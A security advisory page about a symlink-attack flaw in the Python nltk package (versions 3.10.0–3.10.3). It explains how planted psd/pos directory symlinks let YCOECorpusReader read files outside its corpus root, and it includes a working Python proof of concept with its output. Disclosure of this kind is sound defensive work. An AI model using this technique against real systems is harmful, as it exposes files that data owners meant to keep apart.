Symlink Attack Affecting nltk package, versions [3.10.0,3.10.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.62% (51st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22549590
  • published14 Nov 2026
  • disclosed13 Nov 2026
  • creditzx, manus-use, Daniel Coles

Introduced: 13 Nov 2026

NewCVE-2026-126304  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Symlink Attack via YCOECorpusReader.__init__ in nltk/corpus/reader/ycoe.py, which constructs nested sub-readers whose roots are derived from self.root.join("psd") and self.root.join("pos"). FileSystemPathPointer.join() in nltk/data.py performs only a lexical prefix check using os.path.normpath and never resolves symlinks, and CorpusReader.__init__ in nltk/corpus/reader/api.py validates the resulting sub-reader root only against the global NLTK data sandbox rather than the enclosing corpus root. An attacker who plants a directory symlink named psd or pos inside a YCOE corpus can cause the nested sub-readers to be anchored outside the YCOE corpus root, allowing parsed_sents(), tagged_words(), tagged_sents(), and words() to return file content from other locations inside the allowed NLTK data sandbox. The disclosure is bounded to the global NLTK data sandbox: a symlink whose target resolves outside every allowed root is rejected at construction, so this is not an arbitrary-filesystem read.

PoC

Dependencies: a released nltk (3.10.0 through 3.10.3) on a POSIX host. No third-party packages. The only allowed data root is a fresh temp sandbox; ENFORCE is left at its default of True.

Steps:

  1. Create a sandbox directory and register it as the sole nltk.data.path entry.
  2. Inside the sandbox create a "victim" directory holding doc1.psd / doc1.pos outside the YCOE corpus root.
  3. Create a YCOE corpus root whose psd and pos entries are directory symlinks pointing at the victim directory.
  4. Construct YCOECorpusReader on that root and read it.
import os, tempfile, nltk
from nltk import pathsec
sandbox = os.path.realpath(tempfile.mkdtemp())
pathsec.ENFORCE = True
nltk.data.path = [sandbox]
pathsec._ALLOWED_ROOTS_CACHE = None
from nltk.corpus.reader.ycoe import YCOECorpusReader

victim = os.path.join(sandbox, "victim", "psd_secret") victim_pos = os.path.join(sandbox, "victim", "pos_secret") os.makedirs(victim); os.makedirs(victim_pos) open(os.path.join(victim, "doc1.psd"), "w").write("(S (SECRET leaked-out-of-ycoe-root))\n") open(os.path.join(victim_pos, "doc1.pos"), "w").write("SECRET_NN leaked-out-of-ycoe-root_NN\n")

ycoe = os.path.join(sandbox, "corpora", "ycoe_evil"); os.makedirs(ycoe) os.symlink(victim, os.path.join(ycoe, "psd")) os.symlink(victim_pos, os.path.join(ycoe, "pos"))

reader = YCOECorpusReader(ycoe) print(reader.parsed_sents()) print(reader.tagged_words())

psd sub-reader real root : /tmp/ycoe_poc_zc35zihw/victim/psd_secret
ycoe corpus root         : /tmp/ycoe_poc_zc35zihw/corpora/ycoe_evil
parsed_sents()           : [Tree('S', [Tree('SECRET', ['leaked-out-of-ycoe-root'])])]
tagged_words()           : [('SECRET', 'NN'), ('leaked-out-of-ycoe-root', 'NN')]
ESCAPE CONFIRMED: YCOE read out-of-root content via psd/pos symlink

A negative control with real (non-symlink) psd/pos directories stays contained, and a symlink whose target is /etc is rejected at construction with a PermissionError, confirming the escape is bounded to the sandbox.

Note: Requires a released nltk on a POSIX host with no third-party packages, using a fresh temp directory as the sole allowed data root and ENFORCE left at its default of True.

CVSS Base Scores

version 4.0
version 3.1